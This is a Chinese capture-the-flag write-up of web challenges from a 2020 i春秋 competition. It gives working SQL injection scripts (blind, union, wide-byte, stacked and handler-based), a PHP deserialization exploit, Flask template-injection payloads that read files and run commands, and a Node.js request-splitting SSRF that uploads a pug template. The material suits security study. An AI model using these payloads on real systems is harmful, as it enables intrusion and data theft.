2020新春战疫-网络安全公益赛解题记录

0x 01 第一天

1.1 签到

抖音号:GAME.CTF里面的视频结尾就有

1.2 code_in_morse

流量包导出http对象,得到一个作者上传的一个jpg文件,改一下后缀打开得到一串莫斯电码,解码发现是base32格式,继续解码发现有png文件头,群里有师傅给了提示:

1
python exp.py > 1.png

有师傅这样做的

将条形码扫码,扫码网址:https://www.sojson.com/qr/deqr.html

得到一个网址:https://s2.ax1x.com/2020/02/06/1yPXJ1.jpg

访问得到一张图片,提示F5隐写,使用解密脚本得到flag

1.3 ezupload

直接上传php文件,连接蚁剑,执行./readflag得到flag

1.4 简单的招聘系统

方法一:

二次注入,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#encoding=utf-8
import requests
import json
import time
database = ""
hex_database = ""

def req(payload,asc):
url = "http://caddecc79f07485cb789f035fc7b3c3027c1555d32204a11.changame.ichunqiu.com/index.php?register"
header = {
'X - Requested - With': 'XMLHttpRequest'
}
data = {
"regname": payload,
"regpass": "1"
}
st = time.time()
r = requests.post(url, headers=header,data=data, timeout=100)
if r.status_code != 200:
return req(payload, asc)
else:
if time.time() - st > 2:
return asc
else:
return ''
i = 1
while i < 10:
for j in range(30,148):
j = chr(j)
k = j.encode('hex')
username = "'^(case hex(mid((select flaaag from flag limit 1 offset 0) from 37 for "+str(i)+")) when '"+ hex_database+ k +"' then sleep(3) else 'b' end)+'0"
print username
if req(username,j)!='':
database = database + j # 这儿的j是字母
hex_database = hex_database + k # 这儿的k是字母对应的hex
print database
break
i = i + 1

方法二:弱口令+SQL注入查询

登陆处万能密码 1’ or 1=1# 然后在blank page查询处查flag

1
2
3
4
5
6
7
8
1' union select 1,database(),3,4,5#   
// database():nzhaopin
1' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()#
// backup,flag,user
1' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='flag'#
// id,flaaag
1' union select 1,group_concat(flaaag),3,4,5 from flag#
// flag{548f455e-fc8f-48c4-95ea-62ee4b645a68}

方法三:二次注入

猜测注册的语句应该是$sql=insert into table values($id,'$username','$password','$key')

构造payload如下:

1
2
3
4
5
6
7
注册:
test','202cb962ac59075b964b07152d234b70',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#
登录:
账号:test
密码:123
得到数据库:backup,flag,user
同理进一步查询可以得到flag

1.5 盲注

waf了= <> like select union * '等,使用regex进行正则匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import time
url = "http://0013a95d8ad14842a9bcba0096d069cb38ec1889e4534760.changame.ichunqiu.com/index.php?id=1 "
list = "qwertyuiopasdfghjklzxcvbnm_-0123456789{}"

flag = "flag{af35b43b"
for j in range(35):
for i in list:
st = time.time()
payload = url + '''and if((fl4g regexp "^{}"),sleep(3),null)'''.format(flag+i)
r = requests.get(payload, timeout=100)
if time.time() - st > 2:
print i
flag=flag+i
else:
pass
print flag

1.6 babyphp

扫描目录发现www.zip源码泄露,下载审计

反序列化参考:https://www.gem-love.com/ctf/1669.html

由于是在逃逸字符,我们需要保证payload在进入属性中之后可以正常反序列化

通过本地调试,得到正常序列化时的字符

"O:4:"Info":3:{s:3:"age";s:3:"123";s:8:"nickname";s:4:"test";s:8:"CtrlCase";N;}"

其中nickname和age是可控内容

注意前面的内容中标注了有3个属性,为了保证属性一致,在payload前面加上CtrlCase的内容,然后在最后闭合语句,使unserialize忽略掉后面的CtrlCase

根据这个payload的字符数,我们需要在nickname中插入足量的黑名单字符,把payload挤出去

参考大师傅的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php

class User
{
public $id;
public $age = null;
public $nickname = null;
}

class Info
{
public $age;
public $nickname;
public $CtrlCase;

public function __construct($age, $nickname)
{
$this->age = $age;
$this->nickname = $nickname;
}
}

Class UpdateHelper
{
public $id;
public $newinfo;
public $sql;

public function __construct($newInfo, $sql)
{
$newInfo = unserialize($newInfo);
$upDate = new dbCtrl();
}
}

class dbCtrl
{
public $hostname = "127.0.0.1";
public $dbuser = "root";
public $dbpass = "root";
public $database = "test";
public $name = "admin";
public $password;
public $mysqli;
public $token = "admin";

}

$db = new dbCtrl();
$user = new User();
$info = new Info('','1');
#echo serialize($info);
$updatehelper = new UpdateHelper("1", "");

$info->CtrlCase = $db;
$user->nickname = $info;
$user->age = "select password,id from user where username=?";
$updatehelper->sql = $user;
// echo serialize($updatehelper);
$c = '";s:8:"CtrlCase";' . serialize($updatehelper) . "}";
$length = strlen($c);
$c = str_repeat('union', $length).$c;
echo($c);
?>

在update.php内post提交age=&nickname=加代码的输出结果,提交得到admin密码,登录得到flag

参考:http://blog.ydspoplar.top/2020/02/24/i%E6%98%A5%E7%A7%8B%E6%96%B0%E6%98%A5%E6%8A%97%E7%96%AB%E8%B5%9B-WP/#babyphp

第二天

2.1 easysqli_copy

参考资料:从宽字节注入认识PDO的原理和正确使用 https://www.freebuf.com/articles/web/216336.html

原理:输入的参数并没有用单引号包裹,发送数据的时候会用单引号进行了包裹,构成了宽字节注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python2
# coding=utf-8
import urllib
import requests
import time
url = "http://72e089bbcaf245b2904526c4e4b0518236a6f2cf0f304d10.changame.ichunqiu.com/?id="
list = "qwertyuiopasdfghjklzxcvbnm_-0123456789{},"
flag = ""
for j in range(35):
for i in list:
# payload = '''select if(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())) regexp '^{}'),sleep(3),null)'''.format(flag+i)
# payload = '''select if(((select(group_concat(column_name))from(information_schema.columns)where(table_name='table1')) regexp '^{}'),sleep(3),null)'''.format(flag+i)
payload = '''select if(((select(group_concat(fllllll4g))from(table1)) regexp '^{}'),sleep(3),null)'''.format(flag+i)
payload = payload.encode('hex')
param = "1" + urllib.unquote("%df") + "';set @a=0x{};prepare smtm_test from @a;execute smtm_test;".format(payload)
param = urllib.quote(param)
url1 = url + param
st = time.time()
r = requests.get(url1, timeout=100)
if time.time() - st > 2:
flag=flag+i
print flag
break
else:
pass
print flag

2.2 blacklist

需要先利用堆叠注入查询表和字段

1
1';show tables;#

得到FlagHere表

1
1';show columns from `FlagHere`;#

得到flag字段

根据一叶飘零大佬的blog:https://skysec.top/2019/12/13/2019-FudanCTF-Writeup/ 构造exp:

1
11'; handler `FlagHere` open as `tgt`;handler `tgt` read next;--

2.3 Ezsqli

  • 无in注表名

参考:聊一聊bypass information_schema https://www.anquanke.com/post/id/193512

  • 无union select和字段名注数据
1
2
3
4
5
6
7
8
(2|(MID((select (select 1,1) = (select * from f1ag_1s_h3r3_hhhhh limit 0,1)),1,1)=0))
列的数量有两个

(2|(select (select 1) = (select count(*) from f1ag_1s_h3r3_hhhhh)))
共有一条记录

(2|(select (select 1) = (select id from f1ag_1s_h3r3_hhhhh)))
记录有一个字段为id=1

参考这个:https://nosec.org/home/detail/3830.html

使用 SELECT CONCAT("A", CAST(0 AS JSON)) 来另其返回二进制字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
#-*- coding:utf8 -*-
import requests
import string
url = "http://0365e3e590804cff9ae00511314e9994c04ae9b25b574cac.changame.ichunqiu.com/index.php"

def exp1():
str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','')
flag = ''
select = 'select group_concat(table_name) from sys.x$schema_flattened_keys'
for j in range(1,40):
for i in str1:
paylaod = "1/**/&&/**/(select substr(({}),{},1))='{}'".format(select, j, i)
#print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url,data=data)
if 'Nu1L' in r.text:
flag += i
print(flag)
break

def exp2():
str1 = ('-0123456789'+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").replace('"','').replace('\\','')
flag = ''
flag_table_name = 'f1ag_1s_h3r3_hhhhh'
for j in range(1,39):
for i in str1:
i = flag+i
paylaod = "1&&((select 1,concat('{}~',CAST('0' as json))) < (select * from {} limit 1))".format(i,flag_table_name)
print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url,data=data)

if 'Nu1L' not in r.text:
flag=i
print(flag)
break

if __name__ == '__main__':
exp1()
exp2()

第三天

3.1 Flaskapp

ssti+pin码的安全机制

payload如下

1
2
3
4
5
6
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('想要读取的文件', 'r').read() }}{% endif %}{% endfor %} 
或者
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('想要读取的文件').read()}}
或者
{{[].__class__.__base__.__subclasses__()[127].__init__.__globals__['sys'+'tem']('ls /')}}
反弹shell

最后的读取flag

1
2
print(os.popen("ls -al /").read())
print(os.popen("cat /this_is_the_flag.txt").read())

3.2 easy_thinking

预期解法:

先注册一个账号,然后在登录时候burp抓包,修改session,注意长度必须是32位,将session改成.php结尾

搜索框输入一句话木马,然后访问

剩下就是绕过,参考 https://github.com/mm0r1/exploits

修改里面参数为pwn(“/readflag”);得到flag

参考资料:

http://p3rh4ps.top/index.php/2020/02/21/820-2-21-i%e6%98%a5%e7%a7%8b%e5%85%ac%e7%9b%8a%e8%b5%9b%e5%87%ba%e9%a2%98%e7%ac%94%e8%ae%b0/

https://www.gem-love.com/ctf/1669.html

http://p3rh4ps.top/index.php/2020/02/22/20-2-23-i%e6%98%a5%e7%a7%8b%e5%85%ac%e7%9b%8a%e8%b5%9b-%e5%89%8d%e4%b8%a4%e5%a4%a9-web-writeup/

http://p3rh4ps.top/index.php/2020/02/22/20-2-23-i%e6%98%a5%e7%a7%8b%e5%85%ac%e7%9b%8a%e8%b5%9b-%e5%89%8d%e4%b8%a4%e5%a4%a9-web-writeup/

https://www.smi1e.top/%e6%96%b0%e6%98%a5%e6%88%98%e7%96%ab%e5%85%ac%e7%9b%8a%e8%b5%9b-ezsqli-%e5%87%ba%e9%a2%98%e5%b0%8f%e8%ae%b0/

3.3 Node Game

太菜了,比赛的时候做不出来,赛后进行复盘学习QAQ

  1. 题目给了源代码,首先进行代码审计
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if(!fs.existsSync(__dirname + file_path)){
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})

文件上传功能会首先判断IP是否来自127.0.0.1,这里就需要构造SSRF,然后是保存文件,是根据传过去的 MIME 类型和文件名生成路径的,这里控制文件类型进行目录穿越进行任意文件上传。

core路由接收q 参数然后拼接在 /source? 后面进行访问,然后会把访问结果显示出来,这里可以进行ssrf访问,但是存在过滤。nodejs版本提示是8.12.0,存在[request splitting](http://projects.webappsec.org/w/page/13246929/HTTP Request Splitting)漏洞,攻击原理可以参考这个 https://xz.aliyun.com/t/2894#toc-2程序在底层处理的时候会舍弃高位的字符, 只保留低位的字符, 也就是说假如我们传入chr(0xffa0)处理后会被截断为chr(0xa0),并且这个0xff可更换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});

resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}

}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})

首页有一块部分接受action参数,并拼接到 template 下的目录用 pug 引擎渲染

1
2
3
4
5
6
7
8
9
app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\\") ){
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file);
res.send(html);
});

利用pug文档中的包含include可以尝试读取根目录flag 参考:包含 Include

  1. 参考赵师傅的脚本发包:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: x
Connection: keep-alive

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------1403693673106942081532243149
Connection: keep-alive
cache-control: no-cache
Host: x
Content-Length: 292

----------------------------1403693673106942081532243149
Content-Disposition: form-data; name="file"; filename="test.pug"
Content-Type: /../template

doctype html
html
head
style
include ../../../../../../../flag.txt

----------------------------1403693673106942081532243149--

GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://707e299e-f951-4d9b-ac8a-bc2c3de5a2b8.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)

最后访问/?action=test得到flag

参考资料:

https://www.zhaoj.in/read-6462.html

https://xz.aliyun.com/t/2894#toc-2

http://blog.5am3.com/2020/02/11/ctf-node1/

3.4 EzExpress

赛后复盘写的,学习了一下JavaScript原型链污染

  1. 提示www.zip源代码,访问下载进行审计

对routes 下路由文件进行审计,开头出现merge 和 clone,存在原型链污染漏洞

在action路由发现只有用户为admin才能触发原型链污染

但是注册的时候不能带有admin

  1. 参考这篇文章,https://xz.aliyun.com/t/7184#toc-11,利用javascript大小写特性进行绕过,注册adm`ı`n

  2. 访问action抓包,构造恶意请求,注意要设置Content-Type: application/json

  1. 访问/info触发原型链,访问/flag下载即可

参考资料:

https://glotozz.github.io/2020/02/25/JavaScript%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/

https://www.zhaoj.in/read-6462.html